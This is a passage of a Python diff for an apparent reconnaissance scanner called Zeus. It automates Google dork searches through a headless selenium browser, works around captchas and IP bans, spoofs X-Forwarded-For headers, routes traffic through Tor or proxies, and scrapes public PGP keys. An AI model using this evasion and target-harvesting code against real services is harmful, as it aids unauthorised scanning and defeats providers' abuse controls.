-                ))
-                shutdown()
-        except Exception as e:
-            browser.close()  # stop all the random rogue processes
-            ff_display.stop()
-            logger.exception(set_color(
-                "zeus was unable to extract the correct URL from the ban URL '{}', "
-                "got exception '{}'...".format(
-                    unquote(retval), e
-                ), level=50
-            ))
-            request_issue_creation()
-            shutdown()
-    if verbose:
-        logger.debug(set_color(
-            "found current URL from selenium browser...", level=10
-        ))
-    logger.info(set_color(
-        "closing the browser and continuing process.."
-    ))
-    browser.close()
-    ff_display.stop()
-    return retval
-
-
-def parse_search_results(
-        query, url_to_search, verbose=False, **kwargs):
-    """
-      Parse a webpage from Google for URL's with a GET(query) parameter
-    """
-    possible_leftovers = ("<", ">", ";", ",")
-    splitter = "&amp;"
-    retval = set()
-    query_url = None
-
-    parse_webcache, pull_all = kwargs.get("parse_webcache", False), kwargs.get("pull_all", False)
-    proxy_string, user_agent = kwargs.get("proxy", None), kwargs.get("agent", None)
-
-    if verbose:
-        logger.debug(set_color(
-            "checking for user-agent and proxy configuration...", level=10
-        ))
-
-    if not parse_webcache:
-        logger.warning(set_color(
-            "will not parse webcache URL's (to parse webcache pass -W)...", level=30
-        ))
-    if not pull_all:
-        logger.warning(set_color(
-            "only pulling URLs with GET(query) parameters (to pull all URL's pass -E)...", level=30
-        ))
-
-    user_agent_info = "adjusting user-agent header to {}..."
-    if user_agent is not DEFAULT_USER_AGENT:
-        user_agent_info = user_agent_info.format(user_agent.strip())
-    else:
-        user_agent_info = user_agent_info.format("default user agent '{}'".format(DEFAULT_USER_AGENT))
-
-    proxy_string_info = "setting proxy to {}..."
-    if proxy_string is not None:
-        proxy_string = proxy_string_to_dict(proxy_string)
-        proxy_string_info = proxy_string_info.format(
-            ''.join(proxy_string.keys()) + "://" + ''.join(proxy_string.values()))
-    else:
-        proxy_string_info = "no proxy configuration detected..."
-
-    headers = {
-        "Connection": "close",
-        "user-agent": user_agent
-    }
-    logger.info(set_color(
-        "attempting to gather query URL..."
-    ))
-    try:
-        query_url = get_urls(query, url_to_search, verbose=verbose, user_agent=user_agent, proxy=proxy_string)
-    except Exception as e:
-        if "'/usr/lib/firefoxdriver/webdriver.xpi'" in str(e):
-            logger.fatal(set_color(
-                "firefox was not found in the default location on your system, "
-                "check your installation and make sure it is in /usr/lib, if you "
-                "find it there, restart your system and try again...", level=50
-            ))
-        elif "connection refused" in str(e):
-            logger.fatal(set_color(
-                "there are to many sessions of firefox opened and selenium cannot "
-                "create a new one...", level=50
-            ))
-            do_autoclean = prompt(
-                "would you like to attempt to auto clean the open sessions", opts="yN"
-            )
-            if do_autoclean.lower().startswith("y"):
-                logger.warning(set_color(
-                    "this will kill all instances of the firefox web browser...", level=30
-                ))
-                subprocess.call(["sudo", "sh", CLEANUP_TOOL_PATH])
-                logger.info(set_color(
-                    "all open sessions of firefox killed, it should be safe to re-run "
-                    "Zeus..."
-                ))
-            else:
-                logger.warning(set_color(
-                    "kill off the open sessions of firefox and re-run Zeus...", level=30
-                ))
-            shutdown()
-        elif "Program install error!" in str(e):
-            do_fix = prompt(
-                "seems the program is having some trouble installing would you like "
-                "to try and automatically fix this issue", opts="yN"
-            )
-            if do_fix.lower().startswith("y"):
-                logger.info(set_color(
-                    "attempting to reinstall failing dependency..."
-                ))
-                subprocess.call(["sudo", "sh", FIX_PROGRAM_INSTALL_PATH])
-                logger.info(set_color(
-                    "successfully installed, you should be good to re-run Zeus..."
-                ))
-                shutdown()
-            else:
-                logger.info(set_color(
-                    "you can automatically try and re-install Xvfb to fix the problem..."
-                ))
-                shutdown()
-        else:
-            logger.exception(set_color(
-                "{} failed to gather the URL from search engine, caught exception '{}' "
-                "exception has been logged to current log file...".format(
-                    os.path.basename(__file__), str(e).strip()), level=50)
-            )
-            request_issue_creation()
-        shutdown()
-    logger.info(set_color(
-        "URL successfully gathered, searching for GET parameters..."
-    ))
-
-    logger.info(set_color(proxy_string_info))
-    req = requests.get(query_url, proxies=proxy_string)
-    logger.info(set_color(user_agent_info))
-    req.headers.update(headers)
-    found_urls = URL_REGEX.findall(req.text)
-    for urls in list(found_urls):
-        for url in list(urls):
-            url = unquote(url)
-            if not any(u in url for u in URL_EXCLUDES):
-                if URL_REGEX.match(url):
-                    if isinstance(url, unicode):
-                        url = str(url).encode("utf-8")
-                    if pull_all:
-                        retval.add(url.split(splitter)[0])
-                    else:
-                        if URL_QUERY_REGEX.match(url.split(splitter)[0]):
-                            retval.add(url.split(splitter)[0])
-                    if verbose:
-                        try:
-                            logger.debug(set_color(
-                                "found '{}'...".format(url.split(splitter)[0]), level=10
-                            ))
-                        except TypeError:
-                            logger.debug(set_color(
-                                "found '{}'...".format(str(url).split(splitter)[0]), level=10
-                            ))
-                        except AttributeError:
-                            logger.debug(set_color(
-                                "found '{}...".format(str(url)), level=10
-                            ))
-                    if url is not None:
-                        retval.add(url.split(splitter)[0])
-    true_retval = set()
-    for url in list(retval):
-        if any(l in url for l in possible_leftovers):
-            url = strip_leftovers(url, list(possible_leftovers))
-        if parse_webcache:
-            if "webcache" in url:
-                logger.info(set_color(
-                    "found a webcache URL, extracting..."
-                ))
-                url = extract_webcache_url(url)
-                if verbose:
-                    logger.debug(set_color(
-                        "found '{}'...".format(url), level=10
-                    ))
-                true_retval.add(url)
-            else:
-                true_retval.add(url)
-        else:
-            true_retval.add(url)
-
-    if len(true_retval) != 0:
-        write_to_log_file(true_retval, URL_LOG_PATH, "url-log-{}.log")
-    else:
-        logger.fatal(set_color(
-            "did not find any URLs with given query '{}'...".format(query), level=50
-        ))
-        shutdown()
-    logger.info(set_color(
-        "found a total of {} URLs with given query '{}'...".format(len(true_retval), query)
-    ))
-    return list(true_retval) if len(true_retval) != 0 else None
-
-
-def search_multiple_pages(query, link_amount, verbose=False, **kwargs):
-    def __config_proxy(proxy_string):
-        proxy_type_schema = {
-            "http": httplib2.socks.PROXY_TYPE_HTTP,
-            "socks4": httplib2.socks.PROXY_TYPE_SOCKS4,
-            "socks5": httplib2.socks.PROXY_TYPE_SOCKS5
-        }
-        proxy_type = get_proxy_type(proxy_string)[0]
-        proxy_dict = proxy_string_to_dict(proxy_string)
-        proxy_config = httplib2.ProxyInfo(
-            proxy_type=proxy_type_schema[proxy_type],
-            proxy_host="".join(proxy_dict.keys()),
-            proxy_port="".join(proxy_dict.values())
-        )
-        return proxy_config
-
-    proxy, agent = kwargs.get("proxy", None), kwargs.get("agent", None)
-
-    if proxy is not None:
-        if verbose:
-            logger.debug(set_color(
-                "configuring to use proxy '{}'...".format(proxy), level=10
-            ))
-        __config_proxy(proxy)
-
-    if agent is not None:
-        if verbose:
-            logger.debug(set_color(
-                "settings user-agent to '{}'...".format(agent), level=10
-            ))
-
-    logger.warning(set_color(
-        "multiple pages will be searched using Google's API client, searches may be blocked after a certain "
-        "amount of time...", level=30
-    ))
-    results, limit, found, index = set(), link_amount, 0, google_api.search(query, user_agent=agent, safe="on")
-    try:
-        while limit > 0:
-            results.add(next(index))
-            limit -= 1
-            found += 1
-    except Exception as e:
-        if "Error 503" in str(e):
-            logger.fatal(set_color(
-                "Google is blocking the current IP address, dumping already found URL's...", level=50
-            ))
-            results = results
-            pass
-
-    retval = set()
-    for url in results:
-        if URL_REGEX.match(url) and URL_QUERY_REGEX.match(url):
-            if verbose:
-                logger.debug(set_color(
-                    "found '{}'...".format(url), level=10
-                ))
-            retval.add(url)
-
-    if len(retval) != 0:
-        logger.info(set_color(
-            "a total of {} links found out of requested {}...".format(
-                len(retval), link_amount
-            )
-        ))
-        write_to_log_file(list(retval), URL_LOG_PATH, "url-log-{}.log")
-    else:
-        logger.error(set_color(
-            "unable to extract URL's from results...", level=40
-        ))
--- a/var/search/init.py
+++ b/var/search/init.py
@ -0,0 +1,155 @@
+import whichcraft
+from selenium import webdriver
+from selenium.webdriver.common.proxy import *
+from selenium.webdriver.remote.errorhandler import WebDriverException
+
+from lib.core.common import HTTP_HEADER
+from lib.core.settings import (
+    logger,
+    set_color,
+    create_random_ip,
+    DEFAULT_USER_AGENT
+)
+
+
+class SetBrowser(object):
+
+    """
+    set the Firefox browser settings
+    """
+
+    def __init__(self, **kwargs):
+        self.agent = kwargs.get("agent", DEFAULT_USER_AGENT)
+        self.proxy = kwargs.get("proxy", None)
+        self.xforward = kwargs.get("xforward", False)
+        self.tor = kwargs.get("tor", False)
+        self.tor_port = kwargs.get("port", 9050)
+
+    def __set_proxy(self):
+        """
+        set the browser proxy settings
+        """
+        if not self.tor and self.proxy is not None:
+            proxy_type = self.proxy.keys()
+            proxy_to_use = Proxy({
+                "proxyType": ProxyType.MANUAL,
+                "httpProxy": self.proxy[proxy_type[0]],
+                "ftpProxy": self.proxy[proxy_type[0]],
+                "sslProxy": self.proxy[proxy_type[0]],
+                "noProxy": ""
+            })
+            return proxy_to_use
+        else:
+            return None
+
+    def __tor_browser_emulation(self, ff_browser):
+        """
+        set the Firefox browser settings to mimic the Tor browser
+        """
+        preferences = {
+            "privacy": [
+                # set the privacy settings
+                ("places.history.enabled", False),
+                ("privacy.clearOnShutdown.offlineApps", True),
+                ("privacy.clearOnShutdown.passwords", True),
+                ("privacy.clearOnShutdown.siteSettings", True),
+                ("privacy.sanitize.sanitizeOnShutdown", True),
+                ("signon.rememberSignons", False),
+                ("network.cookie.lifetimePolicy", 2),
+                ("network.dns.disablePrefetch", True),
+                ("network.http.sendRefererHeader", 0)
+            ],
+            "proxy": [
+                # set the proxy settings
+                ("network.proxy.type", 1),
+                ("network.proxy.socks_version", 5),
+                ("network.proxy.socks", '127.0.0.1'),
+                ("network.proxy.socks_port", self.tor_port),
+                ("network.proxy.socks_remote_dns", True)
+            ],
+            "javascript": [
+                # disabled the javascript settings
+                ("javascript.enabled", False)
+            ],
+            "download": [
+                # get a speed increase by not downloading the images
+                ("permissions.default.image", 2)
+            ],
+            "user-agent": [
+                # set the user agent settings
+                ("general.useragent.override", self.agent)
+            ]
+        }
+        for preference in preferences.iterkeys():
+            for setting in preferences[preference]:
+                ff_browser.set_preference(setting[0], setting[1])
+        return ff_browser
+
+    def __set_x_forward(self, profile):
+        """
+        set the X-Forwarded-For headers for selenium, this can only be done
+        if you are using a profile for Firefox, and ONLY IN FIREFOX.
+        """
+        ip_list = (
+            create_random_ip(),
+            create_random_ip(),
+            create_random_ip()
+        )
+        # references:
+        # https://eveningsamurai.wordpress.com/2013/11/21/changing-http-headers-for-a-selenium-webdriver-request/
+        # https://stackoverflow.com/questions/6478672/how-to-send-an-http-requestheader-using-selenium-2/22238398#22238398
+        # https://blog.giantgeek.com/?p=1455
+
+        # amount of headers to modify
+        profile.set_preference("modifyheaders.headers.count", 1)
+        # action to take on the headers
+        profile.set_preference("modifyheaders.headers.action0", "Add")
+        # header name, in this case it's `X-Forwarded-For`
+        profile.set_preference("modifyheaders.headers.name0", HTTP_HEADER.X_FORWARDED_FOR)
+        # header value, in this case, it's 3 random IP addresses
+        profile.set_preference("modifyheaders.headers.value0", "{}, {}, {}".format(
+            ip_list[0], ip_list[1], ip_list[2]
+        ))
+        # enable the header modification
+        profile.set_preference("modifyheaders.headers.enabled0", True)
+        # send it through the configuration
+        profile.set_preference("modifyheaders.config.active", True)
+        # turn it on from the new configuration
+        profile.set_preference("modifyheaders.config.alwaysOn", True)
+        # as always, change the user agent
+        profile.set_preference("general.useragent.override", self.agent)
+        return profile
+
+    def set_browser(self):
+        """
+        set the browser settings
+        """
+        profile = webdriver.FirefoxProfile()
+        try:
+            if not self.tor:
+                logger.info(set_color(
+                    "setting the browser"
+                ))
+                profile.set_preference("general.useragent.override", self.agent)
+                browser = webdriver.Firefox(profile, proxy=self.__set_proxy())
+            elif self.xforward:
+                profile = self.__set_x_forward(profile)
+                browser = webdriver.Firefox(profile, proxy=self.__set_proxy())
+            else:
+                logger.info(set_color(
+                    "setting the Tor browser emulation"
+                ))
+                profile = self.__tor_browser_emulation(profile)
+                browser = webdriver.Firefox(profile)
+        except (OSError, WebDriverException):
+            if not self.tor:
+                profile.set_preference("general.useragent.override", self.agent)
+                browser = webdriver.Firefox(profile, proxy=self.__set_proxy(),
+                                            executable_path=whichcraft.which("geckodriver"))
+            elif self.xforward:
+                profile = self.__set_x_forward(profile)
+                browser = webdriver.Firefox(profile, proxy=self.__set_proxy())
+            else:
+                profile = self.__tor_browser_emulation(profile)
+                browser = webdriver.Firefox(profile, executable_path=whichcraft.which("geckodriver"))
+        return browser
--- a/var/search/pgp_search.py
+++ b/var/search/pgp_search.py
@ -0,0 +1,197 @@
+import re
+
+import requests
+from bs4 import BeautifulSoup
+from requests.exceptions import ReadTimeout
+
+import lib.core.common
+import lib.core.settings
+
+
+def __create_url(ext):
+    """
+    create the URL with the identifier, usually a hash
+    """
+    url = lib.core.settings.AUTHORIZED_SEARCH_ENGINES["pgp"]
+    items = url.split("/")
+    # make sure that there's a `/` in the extension
+    if "/" in ext[0]:
+        retval = "{}//{}{}".format(items[0], items[2], ext)
+    else:
+        # otherwise we'll just add it
+        retval = "{}//{}/{}".format(items[0], items[2], ext)
+    return retval
+
+
+def __set_headers(**kwargs):
+    """
+    set the HTTP headers
+    """
+    agent = kwargs.get("agent", None)
+    xforward = kwargs.get("xforward", False)
+    if not xforward:
+        headers = {
+            lib.core.common.HTTP_HEADER.CONNECTION: "close",
+            lib.core.common.HTTP_HEADER.USER_AGENT: agent
+        }
+    else:
+        ip_list = (
+            lib.core.settings.create_random_ip(),
+            lib.core.settings.create_random_ip(),
+            lib.core.settings.create_random_ip()
+        )
+        headers = {
+            lib.core.common.HTTP_HEADER.CONNECTION: "close",
+            lib.core.common.HTTP_HEADER.USER_AGENT: agent,
+            lib.core.common.HTTP_HEADER.X_FORWARDED_FOR: "{}, {}, {}".format(
+                ip_list[0], ip_list[1], ip_list[2]
+            )
+        }
+    return headers
+
+
+def obtain_html(url, query, **kwargs):
+    """
+    obtain the HTML containing the URL redirects to the public PGP keys
+    """
+    agent = kwargs.get("agent", None)
+    xforward = kwargs.get("xforwad", False)
+    proxy = kwargs.get("proxy", None)
+    url = url.format(query)
+    # regular expression to match if no results are given
+    result_regex = re.compile("<.+>no.results.found<.+.>", re.I)
+    req = requests.get(
+        url,
+        params=__set_headers(agent=agent, xforward=xforward),  # set the headers
+        proxies=lib.core.settings.proxy_string_to_dict(proxy),
+        timeout=10
+    )
+    status, html = req.status_code, req.content
+    if status == 200:
+        # check against the regex
+        if result_regex.search(str(html)) is not None:
+            return None
+        else:
+            return html
+    return None
+
+
+def gather_urls(html, attribute="a", descriptor="href"):
+    """
+    get the URLs within the HTML
+    """
+    redirects, retval = set(), set()
+    soup = BeautifulSoup(html, "html.parser")
+    for link in soup.findAll(attribute):
+        found_redirect = str(link.get(descriptor)).decode("unicode_escape")
+        if lib.core.settings.PGP_IDENTIFIER_REGEX.search(found_redirect) is not None:
+            redirects.add(found_redirect)
+    for link in redirects:
+        url = __create_url(link)
+        if lib.core.settings.URL_REGEX.match(url):
+            retval.add(url)
+    return list(retval)
+
+
+def get_pgp_keys(url_list, query, attribute="pre", **kwargs):
+    """
+    get the PGP keys by connecting to the URLs and pulling the information from the HTML
+    """
+    agent = kwargs.get("agent", None)
+    proxy = kwargs.get("proxy", None)
+    xforward = kwargs.get("xforward", None)
+    verbose = kwargs.get("verbose", False)
+    amount_to_search = kwargs.get("search_amount", 75)  # TODO:/ add a way to increase this
+
+    data_sep = "-" * 30
+    extracted_keys, identifiers = set(), []
+    # regex to match the beginning of a PGP key
+    identity_matcher = re.compile(r"\bbegin.pgp.public.key.block", re.I)
+    amount_left = len(url_list)
+    lib.core.settings.logger.info(lib.core.settings.set_color(
+        "checking a maximum of {} PGP keys".format(amount_to_search)
+    ))
+    for i, url in enumerate(url_list, start=1):
+        if i >= amount_to_search:
+            break
+        if verbose:
+            lib.core.settings.logger.debug(lib.core.settings.set_color(
+                "checking '{}'".format(url), level=10
+            ))
+        if i % 25 == 0:
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "currently checking PGP key #{}, {} left to check ({} total found)".format(
+                    i, amount_to_search - i, amount_left
+                )
+            ))
+        identifiers.append(lib.core.settings.PGP_IDENTIFIER_REGEX.search(str(url)).group())
+        try:
+            req = requests.get(
+                url,
+                params=__set_headers(agent=agent, xforward=xforward),
+                proxies=lib.core.settings.proxy_string_to_dict(proxy),
+                timeout=10
+            )
+            status, html = req.status_code, req.content
+            if status == 200:
+                soup = BeautifulSoup(html, "html.parser")
+                context = soup.findAll(attribute)[0]
+                if identity_matcher.search(str(context)) is not None:
+                    extracted_keys.add(context)
+        except ReadTimeout:
+            lib.core.settings.logger.error(lib.core.settings.set_color(
+                "PGP key failed connection, assuming no good and skipping", level=40
+            ))
+    for i, k in enumerate(extracted_keys):
+        pgp_key = str(k).split("<{}>".format(attribute))  # split the string by the tag
+        pgp_key = pgp_key[1].split("</{}>".format(attribute))[0]  # split it again by the end tag
+        if verbose:
+            lib.core.settings.logger.debug(lib.core.settings.set_color(
+                "found PGP:", level=10
+            ))
+            # output the found PGP key if you run in verbose
+            print("{}\n{}\n{}".format(data_sep, pgp_key, data_sep))
+        lib.core.common.write_to_log_file(
+            pgp_key, lib.core.settings.PGP_KEYS_FILE_PATH, lib.core.settings.PGP_KEY_FILENAME.format(identifiers[i], query)
+        )
+
+
+def pgp_main(query, verbose=False):
+    try:
+        try:
+            query = lib.core.settings.replace_http(query, queries=False, complete=True).split(".")[0]
+        # make sure the query isn't going to fail
+        except Exception:
+            query = query
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "searching public PGP files with given query '{}'".format(query)
+        ))
+        try:
+            html = obtain_html(
+                lib.core.settings.AUTHORIZED_SEARCH_ENGINES["pgp"], query, agent=lib.core.settings.DEFAULT_USER_AGENT
+            )
+        except (Exception, ReadTimeout):
+            lib.core.settings.logger.warning(lib.core.settings.set_color(
+                "connection failed, assuming no PGP keys", level=30
+            ))
+            html = None
+        if html is not None:
+            urls = gather_urls(html)
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "found a total of {} URLs".format(len(urls))
+            ))
+            if verbose:
+                lib.core.settings.logger.debug(lib.core.settings.set_color(
+                    "found a '{}'".format(urls), level=10
+                ))
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "gathering PGP key(s) and writing to a file", level=25
+            ))
+            return get_pgp_keys(urls, query, verbose=verbose)
+        else:
+            lib.core.settings.logger.warning(lib.core.settings.set_color(
+                "did not find anything using query '{}'".format(query), level=30
+            ))
+    except KeyboardInterrupt:
+        if not lib.core.common.pause():
+            lib.core.common.shutdown()
--- a/var/search/selenium_search.py
+++ b/var/search/selenium_search.py
@ -0,0 +1,528 @@
+import os
+import time
+
+try:
+    from urllib import (  # python 2
+        unquote
+    )
+except ImportError:
+    from urllib.parse import (  # python 3
+        unquote
+    )
+
+import requests
+from bs4 import BeautifulSoup
+from pyvirtualdisplay import Display
+from requests.exceptions import ConnectionError
+from selenium.webdriver.common.keys import Keys
+from selenium.webdriver.remote.errorhandler import (
+    UnexpectedAlertPresentException,
+    ElementNotInteractableException,
+)
+
+import var.search
+from var.auto_issue.github import request_issue_creation
+from lib.core.common import (
+    write_to_log_file,
+    HTTP_HEADER,
+    URLParser,
+    shutdown,
+    prompt,
+    run_fix
+)
+from lib.core.settings import (
+    logger,
+    set_color,
+    proxy_string_to_dict,
+    DEFAULT_USER_AGENT,
+    URL_QUERY_REGEX,
+    URL_REGEX,
+    URL_LOG_PATH,
+    EXTRACTED_URL_LOG,
+    URL_EXCLUDES,
+    CLEANUP_TOOL_PATH,
+    FIX_PROGRAM_INSTALL_PATH,
+    create_random_ip,
+    rewrite_all_paths,
+    AUTHORIZED_SEARCH_ENGINES,
+    MAX_PAGE_NUMBER,
+    NO_RESULTS_REGEX,
+    parse_blacklist,
+    BLACKLIST_FILE_PATH,
+    calculate_success,
+    REINSTALL_TOOL,
+    EXTRACTED_URL_FILENAME,
+    URL_FILENAME,
+    BLACKLIST_FILENAME,
+    IP_BAN_REGEX
+)
+
+try:
+    unicode
+except NameError:
+    unicode = str
+
+
+def get_urls(query, url, verbose=False, **kwargs):
+    """
+      Bypass Google captchas and Google API by using selenium-webdriver to gather
+      the Google URL. This will open a robot controlled browser window and attempt
+      to get a URL from Google that will be used for scraping afterwards.
+    """
+    query = query.decode('unicode_escape').encode('utf-8')
+    proxy, user_agent = kwargs.get("proxy", None), kwargs.get("user_agent", None)
+    tor, tor_port = kwargs.get("tor", False), kwargs.get("tor_port", None)
+    batch = kwargs.get("batch", False)
+    xforward = kwargs.get("xforward", False)
+    logger.info(set_color(
+        "setting up virtual display to hide the browser"
+    ))
+    ff_display = Display(visible=0, size=(800, 600))
+    ff_display.start()
+    browser = var.search.SetBrowser(agent=user_agent, proxy=proxy, tor=tor, xforward=xforward).set_browser()
+    logger.info(set_color("browser will open shortly", level=25))
+    browser.get(url)
+    if verbose:
+        logger.debug(set_color(
+            "searching search engine for the 'q' element (search button)", level=10
+        ))
+    search = browser.find_element_by_name('q')
+    logger.info(set_color(
+        "searching search engine using query '{}'".format(query)
+    ))
+    try:
+        # enter the text you want to search and hit enter
+        search.send_keys(query)
+        search.send_keys(Keys.RETURN)
+        if not tor:
+            time.sleep(3)
+        else:
+            logger.warning(set_color(
+                "sleep time has been increased to 10 seconds due to tor being used", level=30
+            ))
+            time.sleep(10)
+    except ElementNotInteractableException:
+        # get rid of the popup box and hit enter after entering the text to search
+        try:
+            for _ in range(5):
+                browser.execute_script("document.querySelectorAll('label.boxed')[{}].click()".format(_))
+                search.send_keys(query)
+                search.send_keys(Keys.RETURN)
+                time.sleep(3)
+        except Exception:
+            pass
+    except UnicodeDecodeError:
+        logger.error(set_color(
+            "your query '{}' appears to have unicode characters in it, selenium is not "
+            "properly formatted to handle unicode characters, this dork will be skipped".format(
+                query
+            ), level=40
+        ))
+    if verbose:
+        logger.debug(set_color(
+            "obtaining URL from selenium"
+        ))
+    try:
+        retval = browser.current_url
+    except UnexpectedAlertPresentException:
+        logger.warning(set_color(
+            "alert present, closing", level=30
+        ))
+        # discover the alert and close it before continuing
+        alert = browser.switch_to.alert
+        alert.accept()
+        retval = browser.current_url
+    # if you have been IP banned, we'll extract the URL from it
+    if IP_BAN_REGEX.search(retval) is not None:
+        logger.warning(set_color(
+            "it appears that Google is attempting to block your IP address, attempting bypass", level=30
+        ))
+        try:
+            retval = URLParser(retval).extract_ip_ban_url()
+            question_msg = (
+                "zeus was able to successfully extract the URL from Google's ban URL "
+                "it is advised to shutdown zeus and attempt to extract the URL's manually. "
+                "failing to do so will most likely result in no results being found by zeus. "
+                "would you like to shutdown"
+            )
+            if not batch:
+                do_continue = prompt(
+                    question_msg, opts="yN"
+                )
+            else:
+                do_continue = prompt(
+                    question_msg, opts="yN", default="y"
+                )
+
+            # shutdown and write the URL to a file
+            if not str(do_continue).lower().startswith("n"):
+                write_to_log_file(retval, EXTRACTED_URL_LOG, EXTRACTED_URL_FILENAME)
+                logger.info(set_color(
+                    "it is advised to extract the URL's from the produced URL written to the above "
+                    "(IE open the log, copy the url into firefox)".format(retval)
+                ))
+                shutdown()
+        except Exception as e:
+            # stop all the random rogue processes, this isn't guaranteed to stop the processes
+            # that's why we have the clean up script in case this fails
+            browser.close()
+            ff_display.stop()
+            logger.exception(set_color(
+                "zeus was unable to extract the correct URL from the ban URL '{}', "
+                "got exception '{}'".format(
+                    unquote(retval), e
+                ), level=50
+            ))
+            request_issue_creation()
+            shutdown()
+    if verbose:
+        logger.debug(set_color(
+            "found current URL from selenium browser", level=10
+        ))
+    logger.info(set_color(
+        "closing the browser and continuing process.."
+    ))
+    browser.close()
+    ff_display.stop()
+    return retval
+
+
+def parse_search_results(query, url_to_search, verbose=False, **kwargs):
+    """
+      Parse a webpage from Google for URL's with a GET(query) parameter
+    """
+    possible_leftovers = URLParser(None).possible_leftovers
+    splitter = "&amp;"
+    retval = set()
+    query_url = None
+
+    parse_webcache, pull_all = kwargs.get("parse_webcache", False), kwargs.get("pull_all", False)
+    proxy_string, user_agent = kwargs.get("proxy", None), kwargs.get("agent", None)
+    forward_for = kwargs.get("forward_for", False)
+    tor = kwargs.get("tor", False)
+    batch = kwargs.get("batch", False)
+    show_success = kwargs.get("show_success", False)
+
+    if verbose:
+        logger.debug(set_color(
+            "parsing blacklist", level=10
+        ))
+    parse_blacklist(query, BLACKLIST_FILE_PATH, batch=batch)
+
+    if verbose:
+        logger.debug(set_color(
+            "checking for user-agent and proxy configuration", level=10
+        ))
+
+    if not parse_webcache and "google" in url_to_search:
+        logger.warning(set_color(
+            "will not parse webcache URL's (to parse webcache pass -W)", level=30
+        ))
+    if not pull_all:
+        logger.warning(set_color(
+            "only pulling URLs with GET(query) parameters (to pull all URL's pass -E)", level=30
+        ))
+
+    user_agent_info = "adjusting user-agent header to {}"
+    if user_agent is not DEFAULT_USER_AGENT:
+        user_agent_info = user_agent_info.format(user_agent.strip())
+    else:
+        user_agent_info = user_agent_info.format("default user agent '{}'".format(DEFAULT_USER_AGENT))
+
+    proxy_string_info = "setting proxy to {}"
+    if proxy_string is not None:
+        proxy_string = proxy_string_to_dict(proxy_string)
+        proxy_string_info = proxy_string_info.format(
+            ''.join(proxy_string.keys()) + "://" + ''.join(proxy_string.values()))
+    elif tor:
+        proxy_string = proxy_string_to_dict("socks5://127.0.0.1:9050")
+        proxy_string_info = proxy_string_info.format(
+            "tor proxy settings"
+        )
+    else:
+        proxy_string_info = "no proxy configuration detected"
+
+    if forward_for:
+        ip_to_use = (create_random_ip(), create_random_ip(), create_random_ip())
+        if verbose:
+            logger.debug(set_color(
+                "random IP addresses generated for headers '{}'".format(ip_to_use), level=10
+            ))
+
+        headers = {
+            HTTP_HEADER.CONNECTION: "close",
+            HTTP_HEADER.USER_AGENT: user_agent,
+            HTTP_HEADER.X_FORWARDED_FOR: "{}, {}, {}".format(ip_to_use[0], ip_to_use[1], ip_to_use[2])
+        }
+    else:
+        headers = {
+            HTTP_HEADER.CONNECTION: "close",
+            HTTP_HEADER.USER_AGENT: user_agent
+        }
+    logger.info(set_color(
+        "attempting to gather query URL"
+    ))
+    try:
+        query_url = get_urls(
+            query, url_to_search, verbose=verbose, user_agent=user_agent, proxy=proxy_string,
+            tor=tor, batch=batch, xforward=forward_for
+        )
+    except Exception as e:
+        if "'/usr/lib/firefoxdriver/webdriver.xpi'" in str(e):
+            logger.fatal(set_color(
+                "firefox was not found in the default location on your system, "
+                "check your installation and make sure it is in /usr/lib, if you "
+                "find it there, restart your system and try again", level=50
+            ))
+        elif "connection refused" in str(e).lower():
+            logger.fatal(set_color(
+                "there are to many sessions of firefox opened and selenium cannot "
+                "create a new one", level=50
+            ))
+            run_fix(
+                "would you like to attempt to auto clean the open sessions",
+                "sudo sh {}".format(CLEANUP_TOOL_PATH),
+                "kill off the open sessions of firefox and re-run Zeus",
+                exit_process=True
+            )
+        elif "Program install error!" in str(e):
+            logger.error(set_color(
+                "seems the program is having some trouble installing would you like "
+                "to try and automatically fix this issue", level=40
+            ))
+            run_fix(
+                "would you like to attempt to fix this issue automatically",
+                "sudo sh {}".format(FIX_PROGRAM_INSTALL_PATH),
+                "you can manually try and re-install Xvfb to fix the problem",
+                exit_process=True
+            )
+        elif "Message: Reached error page:" in str(e):
+            logger.fatal(set_color(
+                "geckodriver has hit an error that usually means it needs to be reinstalled", level=50
+            ))
+            question = prompt(
+                "would you like to attempt a reinstallation of the geckodriver", opts="yN"
+            )
+            if question.lower().startswith("y"):
+                logger.warning(set_color(
+                    "rewriting all executed information, path information, and removing geckodriver", level=30
+                ))
+                rewrite_all_paths()
+                logger.info(set_color(
+                    "all paths rewritten, you will be forced to re-install everything next run of Zeus"
+                ))
+            else:
+                logger.fatal(set_color(
+                    "you will need to remove the geckodriver from /usr/bin and reinstall it", level=50
+                ))
+                shutdown()
+        elif "Unable to find a matching set of capabilities" in str(e):
+            logger.fatal(set_color(
+                "it appears that firefox, selenium, and geckodriver are not playing nice with one another", level=50
+            ))
+            run_fix(
+                "would you like to attempt to resolve this issue automatically",
+                "sudo sh {}".format(REINSTALL_TOOL),
+                ("you will need to reinstall firefox to a later version, update selenium, and reinstall the "
+                 "geckodriver to continue using Zeus"),
+                exit_process=True
+            )
+        else:
+            logger.exception(set_color(
+                "{} failed to gather the URL from search engine, caught exception '{}' "
+                "exception has been logged to current log file".format(
+                    os.path.basename(__file__), str(e).strip()), level=50)
+            )
+            request_issue_creation()
+        shutdown()
+    logger.info(set_color(
+        "URL successfully gathered, searching for GET parameters"
+    ))
+
+    logger.info(set_color(proxy_string_info))
+
+    try:
+        req = requests.get(query_url, proxies=proxy_string, params=headers)
+    except ConnectionError:
+        logger.warning(set_color(
+            "target machine refused connection, delaying and trying again", level=30
+        ))
+        time.sleep(3)
+        req = requests.get(query_url, proxies=proxy_string, params=headers)
+
+    logger.info(set_color(user_agent_info))
+    req.headers.update(headers)
+    found_urls = URL_REGEX.findall(req.text)
+    for urls in list(found_urls):
+        for url in list(urls):
+            url = unquote(url)
+            if not any(u in url for u in URL_EXCLUDES):
+                if not url == "http://" and not url == "https://":
+                    if URL_REGEX.match(url):
+                        if isinstance(url, unicode):
+                            url = str(url).encode("utf-8")
+                        if pull_all:
+                            retval.add(url.split(splitter)[0])
+                        else:
+                            if URL_QUERY_REGEX.match(url.split(splitter)[0]):
+                                retval.add(url.split(splitter)[0])
+                        if verbose:
+                            try:
+                                logger.debug(set_color(
+                                    "found '{}'".format(url.split(splitter)[0]), level=10
+                                ))
+                            except TypeError:
+                                logger.debug(set_color(
+                                    "found '{}'".format(str(url).split(splitter)[0]), level=10
+                                ))
+                            except AttributeError:
+                                logger.debug(set_color(
+                                    "found '{}".format(str(url)), level=10
+                                ))
+                        if url is not None:
+                            retval.add(url.split(splitter)[0])
